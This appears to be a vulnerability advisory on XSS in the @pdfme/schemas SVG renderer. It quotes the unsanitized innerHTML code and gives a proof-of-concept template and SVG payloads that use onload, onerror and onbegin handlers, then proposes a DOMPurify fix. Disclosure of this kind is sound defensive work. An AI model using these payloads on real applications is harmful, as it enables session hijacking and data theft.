Cross-Site Scripting (XSS) via SVG Schema innerHTML Injection in @pdfme/schemas

Summary

The SVG schema plugin in @pdfme/schemas renders user-supplied SVG content using container.innerHTML = value without any sanitization, enabling arbitrary JavaScript execution in the user's browser.

Details

In packages/schemas/src/graphics/svg.ts, line 87, the SVG schema's ui renderer assigns raw SVG markup directly to innerHTML when in viewer mode or form mode with readOnly: true:

// svg.ts, line 81-94 (non-editable rendering path)
} else {
  if (!value) return;
  if (!isValidSVG(value)) {
    rootElement.appendChild(createErrorElm());
    return;
  }
  container.innerHTML = value;  // <-- VULNERABLE: unsanitized SVG injected into DOM
  const svgElement = container.childNodes[0];
  if (svgElement instanceof SVGElement) {
    svgElement.setAttribute('width', '100%');
    svgElement.setAttribute('height', '100%');
    rootElement.appendChild(container);
  }
}

The isValidSVG() function (lines 11-37) only validates that the string contains <svg and </svg> tags and passes DOMParser well-formedness checks. It does NOT strip or block:

• <script> tags embedded in SVG
• Event handler attributes (onload, onerror, onclick, etc.)
• <foreignObject> elements containing HTML with event handlers
• <animate> / <set> elements with onbegin / onend handlers
• SVG <use> elements referencing malicious external resources

All of these are valid SVG and pass isValidSVG(), but execute JavaScript when inserted via innerHTML.

Attack Vectors

1. Malicious Template (readOnly SVG schema)

An attacker crafts a template JSON with a readOnly SVG schema containing a malicious content value. When loaded into the pdfme Form or Viewer component, the SVG executes JavaScript.

2. Application-Supplied Inputs + Viewer

If an application uses the pdfme Viewer component and passes user-controlled data as inputs for a non-readOnly SVG schema, the attacker's SVG flows directly to innerHTML.

Proof of Concept

Loading the following template into a pdfme Form or Viewer component triggers JavaScript execution:

{
  "basePdf": { "width": 210, "height": 297, "padding": [20, 20, 20, 20] },
  "schemas": [[
    {
      "name": "malicious_svg",
      "type": "svg",
      "content": "<svg xmlns='http://www.w3.org/2000/svg' onload='alert(document.domain)'><rect width='100' height='100' fill='red'/></svg>",
      "readOnly": true,
      "position": { "x": 20, "y": 20 },
      "width": 80,
      "height": 40
    }
  ]]
}

Additional payloads that bypass isValidSVG() and execute JavaScript:

<!-- Via foreignObject -->
<svg xmlns="http://www.w3.org/2000/svg"><foreignObject width="200" height="60"><body xmlns="http://www.w3.org/1999/xhtml"><img src="x" onerror="alert(1)"/></body></foreignObject></svg>

<!-- Via animate onbegin -->
<svg xmlns="http://www.w3.org/2000/svg"><rect width="100" height="100"><animate attributeName="x" values="0" dur="0.001s" onbegin="alert(1)"/></rect></svg>

Impact

An attacker who can supply a malicious template (via file upload, shared template URL, multi-tenant template storage, or updateTemplate() API) can execute arbitrary JavaScript in the context of any user who views or fills the template. This enables:

• Session hijacking via cookie/token theft
• Keylogging of form inputs (including sensitive data being entered into PDF forms)
• Phishing attacks by modifying the rendered page
• Data exfiltration from the application

The attack is particularly concerning for multi-tenant SaaS applications using pdfme where templates may be user-supplied.

Suggested Fix

Sanitize SVG content before DOM insertion using DOMPurify or a similar library:

import DOMPurify from 'dompurify';

// Replace line 87:
container.innerHTML = DOMPurify.sanitize(value, { USE_PROFILES: { svg: true } });

Alternatively, parse the SVG via DOMParser, strip all script elements and event handler attributes, then append the sanitized DOM nodes.